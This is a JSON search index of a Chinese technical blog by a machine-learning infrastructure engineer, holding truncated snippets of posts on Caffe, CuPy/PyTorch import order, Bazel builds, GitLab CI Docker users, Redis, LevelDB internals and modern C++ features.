[{"categories":["deep-learning"],"content":"caffe做部署是YYDS! blob layer net 激活函数 卷积 reshape slice loss function reduce eltwise argmax","date":"2020-06-30","externalUrl":null,"permalink":"/2020/06/caffe-notes/","section":"Posts","summary":"caffe做部署是YYDS! blob layer net 激活函数 卷积 reshape slice loss function reduce eltwise argmax","tags":["caffe"],"title":"caffe 源码阅读笔记","type":"post"},{"categories":[],"content":"About Me # 我是一名机器学习基础设施工程师，目前在量化投资行业负责 AI Infrastructure 团队。过去八年，我主要从事深度学习训练与推理系统、模型服务、GPU 性能优化和高性能 C++ 工程，曾在腾讯和商汤参与深度学习框架、推理服务及模型部署相关工作。 我关注 PyTorch、Triton、现代 C++、分布式系统和大语言模型基础设施，也对团队建设和复杂工程系统的长期演进感兴趣。这个博客用于记录技术实践、课程学习和对工程问题的思考。 工作之外，我喜欢三国杀等策略游戏，也喜欢阅读、学习公开课和持续写作。 可以通过邮箱联系我：hust.111qqz[AT]gmail.com","date":"2024-01-01","externalUrl":null,"permalink":"/about/","section":"111qqz的小窝","summary":"About Me # 我是一名机器学习基础设施工程师，目前在量化投资行业负责 AI Infrastructure 团队。过去八年，我主要从事深度学习训练与推理系统、模型服务、GPU 性能优化和高性能 C++ 工程，曾在腾讯和商汤参与深度学习框架、推理服务及模型部署相关工作。","tags":[],"title":"关于","type":"page"},{"categories":["deep-learning"],"content":"背景 # 公司内部的基于torch的toolbox发现某个版本之后,结果发生了偏移. 通过一系列排查,发现当导入cupy和torch的顺序不同时，计算结果会有所差异。 也就是说,如下两段代码会导致模型训练等环节的计算得到不同的结果. 1import cupy as cp 2import torch 3 4import torch 5import cupy as cp 最小复现代码 # 经过一番努力,把问题从内部框架中剥离了出来. 如下是得到的最小复现代码. 通过调整import cupy与import torch的相对顺序,会得到不同的结果. 1# import cupy as cp 2import torch 3import torch.nn as nn 4import cupy as cp 5import random 6import numpy as np 7 8# 设置随机种子 9def set_random_seed(seed: int): 10 random.seed(seed) 11 np.random.seed(seed) 12 torch.manual_seed(seed) 13 torch.cuda.manual_seed(seed) 14 torch.cuda.manual_seed_all(seed) 15 cp.random.seed(seed) 16 17# 定义一个简单的MLP模型 18class MLP(nn.Module): 19 def __init__(self): 20 super(MLP, self).__init__() 21 net = nn.Sequential() 22 net.add_module(\"linear0\", nn.Linear(16, 4)) 23 net.add_module(\"linear1\", nn.Linear(4, 1)) 24 self.net = net 25 26 def forward(self, x): 27 x = self.net(x) 28 return x 29 30# 设置随机种子 31set_random_seed(0) 32 33# 创建MLP模型实例 34model = MLP() 35 36# 将模型移动到CUDA设备上 37model = model.to('cuda') 38model.train() 39 40# 生成随机的输入张量并移动到CUDA设备上 41input_tensor = torch.randn(10, 16).to('cuda') 42 43# 使用MLP模型进行预测 44output_tensor = model(input_tensor).detach().cpu().numpy() 45 46print(\"输出张量:\", output_tensor) 测试环境 # 1cupy-cuda11x 12.0.0 2NVIDIA-SMI 460.73.01 Driver Version: 460.73.01 CUDA Version: 11.2 3torch 1.13.0+cu117 4numpy 1.24.4 5numpy-groupies 0.9.22 6numpydoc 1.1.0 nvcc版本 1./nvcc --version 2nvcc: NVIDIA (R) Cuda compiler driver 3Copyright (c) 2005-2021 NVIDIA Corporation 4Built on Sun_Feb_14_21:12:58_PST_2021 5Cuda compilation tools, release 11.2, V11.2.152 6Build cuda_11.2.r11.2/compiler.29618528_0 完整conda list 1_ipyw_jlab_nb_ext_conf 0.1.0 py38_0 2_libgcc_mutex 0.1 main 3alabaster 0.7.12 pyhd3eb1b0_0 4anaconda 2021.04 py38_0 5anaconda-client 1.7.2 py38_0 6anaconda-navigator 2","date":"2023-12-17","externalUrl":null,"permalink":"/2023/12/cupy-torch-import-order-impact/","section":"Posts","summary":"背景 # 公司内部的基于torch的toolbox发现某个版本之后,结果发生了偏移. 通过一系列排查,发现当导入cupy和torch的顺序不同时，计算结果会有所差异。 也就是说,如下两段代码会导致模型训练等环节的计算得到不同的结果.","tags":["pytorch","cupy","python"],"title":"[施工中] cupy与torch的导入顺序不同对计算结果的影响","type":"post"},{"categories":["deep-learning"],"content":"背景 # 需要使用bazel build onnxruntime 但是onnxruntime本身没有提供bazel相关的配置 作为单独的repo # 将onnxruntime的包下载下来解压 主要的坑点在于动态库必须写全版本号，不然无法成功导入 完整的BUILD.bazel文件为 1 2 3 4cc_import( 5 name = \"ort_lib\", 6 hdrs = glob([\"onnxruntime-linux-x64-1.13.1/include/**/*.h\"]), 7 # FIXME: 这里的动态库必须写全版本号，不然会出现error: undefined reference to 'OrtGetApiBase' 8 shared_library = \"onnxruntime-linux-x64-1.13.1/lib/libonnxruntime.so.1.13.1\", 9) 10 11cc_library( 12 name = \"ort\", 13 hdrs = glob([\"onnxruntime-linux-x64-1.13.1/include/**/*.h\"]), 14 visibility = [\"//visibility:public\"], 15 # copts = [\"-Ionnxruntime-linux-x64-1.13.1/include\"], 16 strip_include_prefix = \"onnxruntime-linux-x64-1.13.1/include\", 17 deps = [\":ort_lib\"] 18) 19 20 21 22cc_binary( 23 name = \"demo\", 24 srcs = [\"demo.cc\"], 25 deps = [\":ort\"], 26 # linkstatic=False, 27 # copts = [\"-Ionnxruntime-linux-x64-1.13.1/include\"], 28) cc文件中，头文件的路径为 1#include \"onnxruntime_cxx_api.h\"","date":"2023-01-16","externalUrl":null,"permalink":"/2023/01/build-onnxruntime-with-bazel/","section":"Posts","summary":"背景 # 需要使用bazel build onnxruntime","tags":["onnxruntime","bazel"],"title":"Build Onnxruntime With Bazel","type":"post"},{"categories":["工程"],"content":"背景 # 需要在gitlab pipelines中跑一堆测试 其中某些测试需要与rancher交互，在训练集群上执行一个训练任务 gitlab pipelines的默认用户是root,而rancher会默认以当前操作的user进行调度。 这里还涉及若干奇奇怪怪的，比较特异性的原因。 导致gitlab pipeline无法调度成功rancher. 总之，需求是，要在gitlab上以一个non-root 执行一些任务 由于缺少官方支持 (参考这里 ), 最终用了非常tricky的办法解决，踩了非常多的坑，因此记录下来，以飨后人 过程 # 为了方便表述，假设这个non-root user就叫\"renkz\" 在docker中添加renkz为默认user # 如果我想以renkz作为user来运行docker,那么docker中肯定要有这个用户。 最初我是这样在dockerfile设置的。 1RUN useradd -ms /bin/bash renkz -d /home/renkz -G sudo 2USER renkz 3WORKDIR /home/renkz 然后以如下方式启动: 1docker run -it -v /dssg:/dssg -u renkz image 其中挂载的/dssg是数据的存储。然而由于/dssg的权限问题，我需要在我的镜像中也存在这些能访问/dssg的用户。尤其是renkz这个用户。(不要问我为什么这么奇怪。公司现状就是如此。。。) 询问了公司的IT的同事，他们的做法是给所有需要挂载/dssg的容器同时挂载了全局的/etc/group和全局的/etc/passwd 于是启动方式变成了这样: 1docker run -it -v /dssg:/dssg -v /global-group:/etc/group -v /global-passwd:/etc/passwd -u renkz image 其中/global-passwd和/global-group为两个公司全局的passwd和group文件路径 然而，奇怪的发现，启动docker后，“whoami\"得到的不是renkz,而是\"qwe”。。对应着/etc/passwd里user id为1000的用户名。 排查后认为，是因为 docker –user选项，会把user name先转换成user id。 由于我在docker中创建user renkz的时候是使用的默认user id(1000),因此docker run的时候其实是以user id 1000启动的。在这个过程发生后，/etc/passwd被替换，此时user id为1000的user变成了qwe 指定gitlab runner以renkz为user启动 # 参考Change Gitlab CI Runner user 以及gitlab runner advanced config","date":"2022-12-10","externalUrl":null,"permalink":"/2022/12/Specify-User-to-Run-Docker-Executor-in-Gitlab-Ci/","section":"Posts","summary":"背景 # 需要在gitlab pipelines中跑一堆测试 其中某些测试需要与rancher交互，在训练集群上执行一个训练任务","tags":["gitlab","ci","docker"],"title":"【施工中】gitlab ci docker executor指定用户执行","type":"post"},{"categories":["deep-learning"],"content":"背景 # 2022年惊讶的发现，当时竟然没有写关于softmax的笔记，因此来补充一下。 proto # 还是先看proto 1 2// Message that stores parameters used by SoftmaxLayer, SoftmaxWithLossLayer 3message SoftmaxParameter { 4 enum Engine { 5 DEFAULT = 0; 6 CAFFE = 1; 7 CUDNN = 2; 8 } 9 optional Engine engine = 1 [default = DEFAULT]; 10 11 // The axis along which to perform the softmax -- may be negative to index 12 // from the end (e.g., -1 for the last axis). 13 // Any other axes will be evaluated as independent softmaxes. 14 optional int32 axis = 2 [default = 1]; 15} axis表示在哪个维护进行softmax c++ 实现 # 由于计算过程中可能存在溢出的情况，所以这里的技巧是，把所有的元素变换到小于0的区间 这样做可以保证数值上不会溢出,且计算结果不会发生改变 1 2template \u003ctypename Dtype\u003e 3void SoftmaxLayer\u003cDtype\u003e::Forward_cpu(const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 bottom, 4 const vector\u003cBlob\u003cDtype\u003e*\u003e\u0026 top) { 5 const Dtype* bottom_data = bottom[0]-\u003ecpu_data(); 6 Dtype* top_data = top[0]-\u003emutable_cpu_data(); 7 Dtype* scale_data = scale_.mutable_cpu_data(); 8 int channels = bottom[0]-\u003eshape(softmax_axis_); 9 int dim = bottom[0]-\u003ecount() / outer_num_; 10 caffe_copy(bottom[0]-\u003ecount(), bottom_data, top_data); 11 // We need to subtract the max to avoid numerical issues, compute the exp, 12 // and then normalize. 13 for (int i = 0; i \u003c outer_num_; ++i) { 14 // initialize scale_data to the first plane 15 caffe_copy(inner_num_, bottom_data + i * dim, scale_data); 16 for (int j = 0; j \u003c channels; j++) { 17 for (int k = 0; k \u003c inner_num_; k++) { 18 scale_data[k] = std::max(scale_data[k], 19 bottom_data[i * dim + j * inner_num_ + k]); 20 } 21 } 22 // subtraction 23 caffe_cpu_gemm\u003cDtype\u003e(CblasNoTrans, CblasNoTrans, channels, inner_num_, 24 1, -1., sum_multiplier_.cpu_data(), scale_data, 1., top_data); 25 // exponentiation 26 caffe_exp\u003cDtype\u003e(dim, top_data, top_data); 27 // sum after exp 28 caffe_cpu_gemv\u003cDtype\u003e(CblasTrans, channels, inner","date":"2022-08-06","externalUrl":null,"permalink":"/2022/08/caffe-source-code-analysis-part12/","section":"Posts","summary":"背景 # 2022年惊讶的发现，当时竟然没有写关于softmax的笔记，因此来补充一下。","tags":["caffe"],"title":"[施工中]caffe 源码学习笔记(11) softmax","type":"post"},{"categories":["工程"],"content":"背景 # 每一个cpp expression都有一个type 和 value category 属性 前者大家都比较了解，但是后者却常常被忽视 Value Categories in the c language # cpp是由c语言发展而来，因此这里先介绍c 语言中的value category c语言只有简单的lvalue和rvalue两种 lvalue # lvalue的\"l\"表示\"left\",表示lvalue可以出现在assigment operator的左边 更准确的说 “lvalue is a value refer to an object” “an object is a region of storage” 所以通俗的说，lvalue就是可以取地址(存在storage region)的值 实际上编译器可能会对lvalue做优化，导致实际没有占用storage 但是cpp保证可以在编程时认为lvalue 一定是有占用storage的 rvalue # 一切不是lvalue的值都是rvalue 大部分字面量都是rvalue, 但是string(比如\"hello world\")不是 E1+E2是rvalue, 其中E1和E2不限制是何种value 但是实际上并不是所有的rvalue都不会占用storage 原因是字面量的空间是有限的,如果是一个非常大的int值，那么实际上可能是会占用地址的 然而，cpp 要求不要依赖这个行为来编程 也就是可以一直认为rvalue(non-class)是不会占用storage的 因此也不能取地址 为啥要区分lvalue 和rvalue? # 原因之一是，编译器可以根据value category 做更多优化 比如对于如下代码 1 2int x = 3; 可以在汇编得到的代码中直接用立即数3而不是放在data storage中 lvalue-to-rvalue-conversion # 如下这段代码中，n是lvalue，在赋值语句中用作了rvalue 这里c++实际上进行了一个 lvalue-to-rvalue-conversion 1int m,n; 2m = n; rvalues of class type # 当涉及到class type时，情况有了些不同 这里class type包含 class/struct/union 原因是访问成员变量时需要 base address + offset 的形式 因此rvalues of class type是实际会占用地址空间的 1 2struct S{ 3 int x; 4 int y; 5}; 6 7S foo(); // delcear a function that returns rvalue value of type S 8int j = foor().j; // access y member of a rvalue c++11时代 # c++11 引入了rvalue reference. 为了避免非必要的copy xvalue # 含义是\"expiring value\" 函数的返回值如果是一个rvalue reference,那么结果就是一个xvalue 比如std::move(x) 因此整体的分类如下 参考资料 # Value categories","date":"2022-04-12","externalUrl":null,"permalink":"/2022/04/cpp-value-categories/","section":"Posts","summary":"背景 # 每一个cpp expression都有一个type 和 value category 属性 前者大家都比较了解，但是后者却常常被忽视","tags":["cpp","modern cpp","value catrgory"],"title":"浅谈 Cpp Value Categories","type":"post"},{"categories":["工程"],"content":"最近在做一个智能算力的项目，其中需要用到redis维护某个全局的时间窗口 资料 # https://redis.io/docs/about/ 极客时间Redis核心技术与实战 复杂数据结构的表示方式 # 学习过程中唯一让我迷惑的是一个嵌套的数据结构要如何表示 比如我想表示一个key为string, value为List的Hash 按照c++的语法，也就是一个 1std::unordered_map\u003cstd::string,std::vector\u003cint\u003e\u003e 但是我发现，在redis中我无法设置value的数据类型 后来发现，redis这种kv存储其实所有的key是在同一个空间的，不存在嵌套关系 嵌套关系是根据相同的string名称来间接进行的 也就是说； hash的value是一个string, 这个string是list的key名称 hash: hash_key_name-\u003e value_key_name list: value_key_name -\u003elist 原子性 # redis单个命令是原子操作，但是有的时候需要执行多个命令完成一个操作 比如典型的 Read-Modify-Write 操作，这种操作为了保证原子性通常有两种办法 其一是使用incr/hincrby 等命令，把多个命令合成一个 其二是使用lua script,用以实现更复杂的逻辑 性能优化 # 以我遇到的具体问题举例说明吧 有一个队列，队列中的元素是不断变化的，想知道这个队列中所有元素的和。 队列元素的增加: 当一个请求到来时，就往队列中添加元素。 可能同时到来上百个请求 队列元素的删除: 按照时间删除，当请求到来超过一定时间后，自动删除。 说白了就是想维护一个时间窗口，并查询窗口中元素之和。 最初考虑过使用redis expire命令来实现自动过期的策略，但是由于expire的key没办法直接把sum也对应删除掉，因此没有选择这个方案。 于是转而考虑使用一个list来维护请求队列，从右边加入元 素，左边删除元素。 维护窗口的时候按照时间戳进行删除 当请求量增大时，发现耗时逐渐变慢，于是开始分析可能的性能瓶颈 使用evalsha替代eval # Lua script 每次会把脚本发送到server执行 script没有变化，因此每次传送的开销也是没必要的 使用evalsha替代eval O(n)复杂度的操作 # 目前的实现中有三个O(n)复杂度的操作，分别是取队列中元素、删除其中过期的元素的key、在队列中清除这些元素 代码如下 1 2 local queue_name = redis.call(\"hget\",KEYS[1],\"queue\") 3 local sum_value = redis.call(\"hget\",KEYS[1],\"sum_value\") 4 local sum_quota = redis.call(\"hget\",KEYS[1],\"sum_quota\") 5 local queue = redis.call(\"lrange\",queue_name,0,-1) 6 local cnt = 0 7 local need_deleted = {} 8 for i=1,#queue do 9 local time_stamp = redis.call(\"hget\",queue[i],\"timestamp\") 10 if (ARGV[2]-time_stamp\u003c=tonumber(ARGV[1])) then break end 11 cnt = i 12 local quota = redis.call(\"hget\", queue[i],\"quota\") 13 local value = redis.call(\"hget\",queue[i],\"value\") 14 sum_value = sum_value-value 15 local quota = redis.call(\"hget\",queue[i],\"quota\") 16 need_deleted[i] = queue[i] 17 sum_quota = sum_quota - quota 18 end 19 redis.call(\"del\",unpack(need_deleted)) 20 r","date":"2022-04-08","externalUrl":null,"permalink":"/2022/04/redis-notes/","section":"Posts","summary":"最近在做一个智能算力的项目，其中需要用到redis维护某个全局的时间窗口","tags":["redis"],"title":"redis学习笔记","type":"post"},{"categories":["工程"],"content":"接口 # 一个ABC，后面会继承这个类做各种实现 clean up function # 代码比较好懂，唯一让我感到疑惑的是 clean up function 这部分 1 2 // FIXME: 不太理解为什么需要很多个clean up function 3 // Cleanup functions are stored in a single-linked list. 4 // The list's head node is inlined in the iterator. 5 struct CleanupNode { 6 // True if the node is not used. Only head nodes might be unused. 7 bool IsEmpty() const { return function == nullptr; } 8 // Invokes the cleanup function. 9 void Run() { 10 assert(function != nullptr); 11 (*function)(arg1, arg2); 12 } 13 14 // The head node is used if the function pointer is not null. 15 CleanupFunction function; 16 void* arg1; 17 void* arg2; 18 CleanupNode* next; 19 }; 20 CleanupNode cleanup_head_; 21}; 从 table/iterator.cc 的析构函数中，可以看到在iterator析构的时候会依次调用多个clean up function 1 2Iterator::~Iterator() { 3 if (!cleanup_head_.IsEmpty()) { 4 cleanup_head_.Run(); 5 for (CleanupNode* node = cleanup_head_.next; node != nullptr;) { 6 node-\u003eRun(); 7 CleanupNode* next_node = node-\u003enext; 8 delete node; 9 node = next_node; 10 } 11 } 12} clean up funtion可以通过调用注册函数添加到列表里 1 2void Iterator::RegisterCleanup(CleanupFunction func, void* arg1, void* arg2) { 3 assert(func != nullptr); 4 CleanupNode* node; 5 if (cleanup_head_.IsEmpty()) { 6 node = \u0026cleanup_head_; 7 } else { 8 // 头插法。 新的node插在了clean_head后面 9 node = new CleanupNode(); 10 node-\u003enext = cleanup_head_.next; 11 cleanup_head_.next = node; 12 } 13 node-\u003efunction = func; 14 node-\u003earg1 = arg1; 15 node-\u003earg2 = arg2; 16} 这里有两部分让人不懂 为什么需要多个clean up function? clean up funtion的参数是在注册时就唯一确定了，而不是在调用时。 clean up function究竟是在清理什么？ 带着这些疑问，继续往下读 iteratorWrapper # 这里包了一层，目的是把key()和valid()的结果cache住，节省了依次取地址的开销 带来的代价就是，对于会影响key()和valid()结果的operation,需要额外的update操作，变得更重了。 猜测是有某些频繁读key()和valid()的场景，因此做了这样一个trade-off 1 2 3// A internal wrapper class with an interface similar to","date":"2022-03-26","externalUrl":null,"permalink":"/2022/03/ledeldb-notes-06/","section":"Posts","summary":"接口 # 一个ABC，后面会继承这个类做各种实现","tags":["leveldb"],"title":"[施工中] levelDB 代码阅读笔记 06 iterator","type":"post"},{"categories":["工程"],"content":"arena时levelDB中的内存池实现 接口 # 没有太多好说的，都非常直观。 补了些注释 1 2class Arena { 3 public: 4 Arena(); 5 6 Arena(const Arena\u0026) = delete; 7 Arena\u0026 operator=(const Arena\u0026) = delete; 8 9 ~Arena(); 10 11 // Return a pointer to a newly allocated memory block of \"bytes\" bytes. 12 char* Allocate(size_t bytes); 13 14 // Allocate memory with the normal alignment guarantees provided by malloc. 15 char* AllocateAligned(size_t bytes); 16 17 // Returns an estimate of the total memory usage of data allocated 18 // by the arena. 19 size_t MemoryUsage() const { 20 return memory_usage_.load(std::memory_order_relaxed); 21 } 22 23 private: 24 char* AllocateFallback(size_t bytes); 25 char* AllocateNewBlock(size_t block_bytes); 26 27 // Allocation state 28 // alloc_ptr_ 表示下一个可用的位置 29 char* alloc_ptr_; 30 size_t alloc_bytes_remaining_; 31 32 // Array of new[] allocated memory blocks 33 // 需要注意，vector中每一个元素都是一段内存块(memory, block) 34 std::vector\u003cchar*\u003e blocks_; 35 36 // Total memory usage of the arena. 37 // 38 // TODO(costan): This member is accessed via atomics, but the others are 39 // accessed without any locking. Is this OK? 40 std::atomic\u003csize_t\u003e memory_usage_; 41}; 分配策略 # 代码可说的不多，主要想讲讲分配策略 之前玩nvJPEG的时候也实现过一个简单的显存池从而避免过多的cudamalloc 当时的策略是 提前分配好很多种不同size的block. 每次分配就二分找到最合适大小的未被使用的block,然后将这个block标记为已使用. 某个block在使用完会被再次标记为unused,从而可以再次使用 如果某次分配需要的size找不到合适的block,会额外分配一个block. 分配的size会比实际需要的略大，避免下次出现比当前需要size大一点的时候还需要额外分配block 每个block在同一时间内最多只会被一个handle占用。 不会存在将一个Block分配给多个handle使用的情况 而levelDB中的arena中的分配策略很不相同 对于大size，单独分配恰好符合需要的block 不提供清理内存的接口，只有在析构的时候释放内存 同一个block可能会被多个handle使用 block只有一种固定大小 这种策略其实简单了很多，而且省去了分配内存的时候查找合适size block的开销 一些细节补充在代码注释中了 1 2 3static const int kBlockSize = 4096; 4// 整体分配逻辑是默认每个block KblockSize个、 当目前的block不足当前的需要时，就舍弃掉，分配新的。 5// 但是如果需要的比较大时，就单独分配一个大block,避免过多的浪费。 6// note: 实际上只有小内存","date":"2022-03-20","externalUrl":null,"permalink":"/2022/03/ledeldb-notes-05/","section":"Posts","summary":"arena时levelDB中的内存池实现 接口 # 没有太多好说的，都非常直观。 补了些注释","tags":["leveldb"],"title":"levelDB 代码阅读笔记 05 arena","type":"post"},{"categories":["工程"],"content":"FilterPolicy接口 # 1 2class LEVELDB_EXPORT FilterPolicy { 3 public: 4 virtual ~FilterPolicy(); 5 6 // Return the name of this policy. Note that if the filter encoding 7 // changes in an incompatible way, the name returned by this method 8 // must be changed. Otherwise, old incompatible filters may be 9 // passed to methods of this type. 10 virtual const char* Name() const = 0; 11 12 // keys[0,n-1] contains a list of keys (potentially with duplicates) 13 // that are ordered according to the user supplied comparator. 14 // Append a filter that summarizes keys[0,n-1] to *dst. 15 // 16 // Warning: do not change the initial contents of *dst. Instead, 17 // append the newly constructed filter to *dst. 18 virtual void CreateFilter(const Slice* keys, int n, 19 std::string* dst) const = 0; 20 21 // \"filter\" contains the data appended by a preceding call to 22 // CreateFilter() on this class. This method must return true if 23 // the key was in the list of keys passed to CreateFilter(). 24 // This method may return true or false if the key was not on the 25 // list, but it should aim to return false with a high probability. 26 virtual bool KeyMayMatch(const Slice\u0026 key, const Slice\u0026 filter) const = 0; 27}; 其中CreateFilter的含义是从n个key生成一个 std::string. 生成的std::string可以包含n个key的信息(类似于生成了一个全集) 从而后续判断某个key是否在其中。 bloomfilter # 一个十分经典的filter 一般用于判断某个元素是否在一个集合中 如果返回false,则一定不存在。 如果返回true，则大概率存在。返回true的情况存在一定的false positive. 基本原理 # 其核心原理有两部分: 通过k个hash function对元素进行映射。 类似于从高维空间映射到低维空间。 不同的hash function映射到了不同的低维空间。 如果在每个低维空间，两个元素经过k个hash function的值都相同，那么这两个元素大概率相同。 如果任意一个hash function的值不同，那么这两个element一定不同。 每个元素存k个hash 值还是很占空间，怎么办？ 将所有的hash值放到同一个长度为m的bitmap上。 并认为如果一个元素不在集合中，那么大概率至少有一个bit不会被任何全集中的其他元素置为1. 注意，这里说的\"经过hash function的值\"实际上说的是 “hash(element) % m 的值”，其中m为bitmap的长度 有木有觉得和局部敏感HASH LSH很像？ 参考 ","date":"2022-03-13","externalUrl":null,"permalink":"/2022/03/ledeldb-notes-04/","section":"Posts","summary":"FilterPolicy接口 # 1 2class LEVELDB_EXPORT FilterPolicy { 3 public: 4 virtual ~FilterPolicy(); 5 6 // Return the name of this policy. Note that if the filter encoding 7 // changes in an incompatible way, the name returned by this method 8 // must be changed. Otherwise, old incompatible filters may be 9 // passed to methods of this type. 10 virtual const char* Name() const = 0; 11 12 // keys[0,n-1] contains a list of keys (potentially with duplicates) 13 // that are ordered according to the user supplied comparator. 14 // Append a filter that summarizes keys[0,n-1] to *dst. 15 // 16 // Warning: do not change the initial contents of *dst. Instead, 17 // append the newly constructed filter to *dst. 18 virtual void CreateFilter(const Slice* keys, int n, 19 std::string* dst) const = 0; 20 21 // \"filter\" contains the data appended by a preceding call to 22 // CreateFilter() on this class. This method must return true if 23 // the key was in the list of keys passed to CreateFilter(). 24 // This method may return true or false if the key was not on the 25 // list, but it should aim to return false with a high probability. 26 virtual bool KeyMayMatch(const Slice\u0026 key, const Slice\u0026 filter) const = 0; 27}; 其中CreateFilter的含义是从n个key生成一个 std::string. 生成的std::string可以包含n个key的信息(类似于生成了一个全集) 从而后续判断某个key是否在其中。","tags":["leveldb"],"title":"levelDB 代码阅读笔记 04 filter","type":"post"},{"categories":["工程"],"content":"Cache接口 # 没有太多好说的，可以注意这里用了void*来表示任意类型数据。 在c++17之后可以考虑用std::any代替，参考 std::any 笔记 1 2 3namespace leveldb { 4 5class LEVELDB_EXPORT Cache; 6 7// Create a new cache with a fixed size capacity. This implementation 8// of Cache uses a least-recently-used eviction policy. 9LEVELDB_EXPORT Cache* NewLRUCache(size_t capacity); 10 11class LEVELDB_EXPORT Cache { 12 public: 13 Cache() = default; 14 15 Cache(const Cache\u0026) = delete; 16 Cache\u0026 operator=(const Cache\u0026) = delete; 17 18 // Destroys all existing entries by calling the \"deleter\" 19 // function that was passed to the constructor. 20 virtual ~Cache(); 21 22 // Opaque handle to an entry stored in the cache. 23 struct Handle {}; 24 25 // Insert a mapping from key-\u003evalue into the cache and assign it 26 // the specified charge against the total cache capacity. 27 // 28 // Returns a handle that corresponds to the mapping. The caller 29 // must call this-\u003eRelease(handle) when the returned mapping is no 30 // longer needed. 31 // 32 // When the inserted entry is no longer needed, the key and 33 // value will be passed to \"deleter\". 34 virtual Handle* Insert(const Slice\u0026 key, void* value, size_t charge, 35 void (*deleter)(const Slice\u0026 key, void* value)) = 0; 36 37 // If the cache has no mapping for \"key\", returns nullptr. 38 // 39 // Else return a handle that corresponds to the mapping. The caller 40 // must call this-\u003eRelease(handle) when the returned mapping is no 41 // longer needed. 42 virtual Handle* Lookup(const Slice\u0026 key) = 0; 43 44 // Release a mapping returned by a previous Lookup(). 45 // REQUIRES: handle must not have been released yet. 46 // REQUIRES: handle must have been returned by a method on *this. 47 virtual void Release(Handle* handle) = 0; 48 49 // Return the value encapsulated in a handle returned by a 50 // suc","date":"2022-03-06","externalUrl":null,"permalink":"/2022/03/leveldb-notes-03/","section":"Posts","summary":"Cache接口 # 没有太多好说的，可以注意这里用了void*来表示任意类型数据。 在c++17之后可以考虑用std::any代替，参考 std::any 笔记","tags":["leveldb"],"title":"levelDB 代码阅读笔记 03 cache","type":"post"},{"categories":["工程"],"content":"概述 # std::shared_ptr是智能指针的一种，在modern c++中被广泛使用（甚至滥用) 虽然天天使用，但是有些细节还不是100%清楚，因此来整理一下 为了方便表述，下文只写shared_ptr,不在写std的namespace. 组成 # shared_ptr的实现中，成员通常由两部分组成。一个是所涵盖对象的指针，一个是control block 的指针 control block # 最重要的是，control block是 dynamically-allocated 的 (校招的时候某次面试，让我手写shared_ptr的实现，当时被多个object如何共享引用计数卡住了。。主要就是没意识到control block是单独allocate的，shared_ptr的实现中只是保留一个指针) control block中通常包含五部分 either a pointer to the managed object or the managed object itself; the deleter (type-erased); the allocator (type-erased); the number of shared_ptrs that own the managed object; the number of weak_ptrs that refer to the managed object. 这里面有几点值得强调： 两个引用计数都是atomic的。 weak_ptr是为了解决循环引用 type-erased是什么？ 后面会介绍 线程安全 # shared_ptr的线程安全性快成c++面试的top10经典八股文了 简单说，shared_ptr\u003cT\u003e的引用计数的实现是线程安全的(通常是两个atomic变量)，但是对于T的操作不是线程安全的* type erasure(erase的名词形式) # 也称为type-earsed 是指在程序运行的时候，不需要知道具体的类型。与之相反的是 type-passing semantics 实现 type-erasure semantics的主要目的是，使得程序运行时不依赖具体的类型信息。 举个例子， std::shared_ptr的constrol block中有对应的deleter. 这个deleter不需要类型也可以work是因为这个deleter做到到了\"type-erasure\" 也就是 确保程序在运行时执行不依赖类型信息。 从代码来看,如下代码时可以正常编译的 1#include \u003cmemory\u003e 2class Toy; // only forward declaration 3 4std::shared_ptr\u003cToy\u003e fwd (std::shared_ptr\u003cToy\u003e p) 5{ 6 if (!p) throw int{}; 7 return p; 8} why? Toy是一个in-complete type, shared_ptr为什么能成功析构？ 这个是因为。。deleter的类型在创建后就被erased了。 后续析构并不需要知道deleter的具体类型 So how come shared_ptr works? It may also need to delete its pointee. Well, you probably know the answer already: shared_ptr’s deleter is type-erased. Its type is something like std::function\u003cvoid(Toy*)\u003e. shared_ptr just needs to call it, and it does not care what the deleter does. Of course, upon creation of the shared_ptr, you have to tell it exactly how the deleter should delete the object, but once the construction is done, the type of the deleter is","date":"2022-03-05","externalUrl":null,"permalink":"/2022/03/std-shared-ptr-notes/","section":"Posts","summary":"概述 # std::shared_ptr是智能指针的一种，在modern c++中被广泛使用（甚至滥用)","tags":["cpp","modern cpp","std::shared_ptr"],"title":"std::shared_ptr 学习笔记","type":"post"},{"categories":["工程"],"content":"背景 # 一种很常见的背景是，需要表示未知类型的数据。 比如可能是用户提供的数据，比如是一个Cache的实现， value想支持任意类型的数据 对于这种场景，c语言的出身的开发者通常会使用void*来实现 1struct day { 2 // ...things... 3 void* user_data; 4}; 5 6struct month { 7 std::vector\u003cday\u003e days; 8 void* user_data; 9}; 了解cpp11的开发者可能会使用std::shared_ptr\u003cvoid\u003e 来实现 1struct day { 2 // ...things... 3 std::shared_ptr\u003cvoid\u003e user_data; 4}; 5 6struct month { 7 std::vector\u003cday\u003e days; 8 std::shared_ptr\u003cvoid\u003e user_data; 9}; 那么有没有更好的实现办法呢？是有的，c++17中提供了std::any std::any含义 # The class any describes a type-safe container for single values of any copy constructible type. 重点是提供了类型安全。 std::any 用法示例 # 1#include \u003cany\u003e 2#include \u003ciostream\u003e 3 4int main() 5{ 6 std::cout \u003c\u003c std::boolalpha; 7 8 // any type 9 std::any a = 1; 10 std::cout \u003c\u003c a.type().name() \u003c\u003c \": \" \u003c\u003c std::any_cast\u003cint\u003e(a) \u003c\u003c '\\n'; 11 a = 3.14; 12 std::cout \u003c\u003c a.type().name() \u003c\u003c \": \" \u003c\u003c std::any_cast\u003cdouble\u003e(a) \u003c\u003c '\\n'; 13 a = true; 14 std::cout \u003c\u003c a.type().name() \u003c\u003c \": \" \u003c\u003c std::any_cast\u003cbool\u003e(a) \u003c\u003c '\\n'; 15 16 // bad cast 17 try 18 { 19 a = 1; 20 std::cout \u003c\u003c std::any_cast\u003cfloat\u003e(a) \u003c\u003c '\\n'; 21 } 22 catch (const std::bad_any_cast\u0026 e) 23 { 24 std::cout \u003c\u003c e.what() \u003c\u003c '\\n'; 25 } 26 27 // has value 28 a = 2; 29 if (a.has_value()) 30 { 31 std::cout \u003c\u003c a.type().name() \u003c\u003c \": \" \u003c\u003c std::any_cast\u003cint\u003e(a) \u003c\u003c '\\n'; 32 } 33 34 // reset 35 a.reset(); 36 if (!a.has_value()) 37 { 38 std::cout \u003c\u003c \"no value\\n\"; 39 } 40 41 // pointer to contained data 42 a = 3; 43 int* i = std::any_cast\u003cint\u003e(\u0026a); 44 std::cout \u003c\u003c *i \u003c\u003c \"\\n\"; 45} 输出结果为: 1 2int: 1 3double: 3.14 4bool: true 5bad any_cast 6int: 2 7no value 83 std::any 相等性判断 # 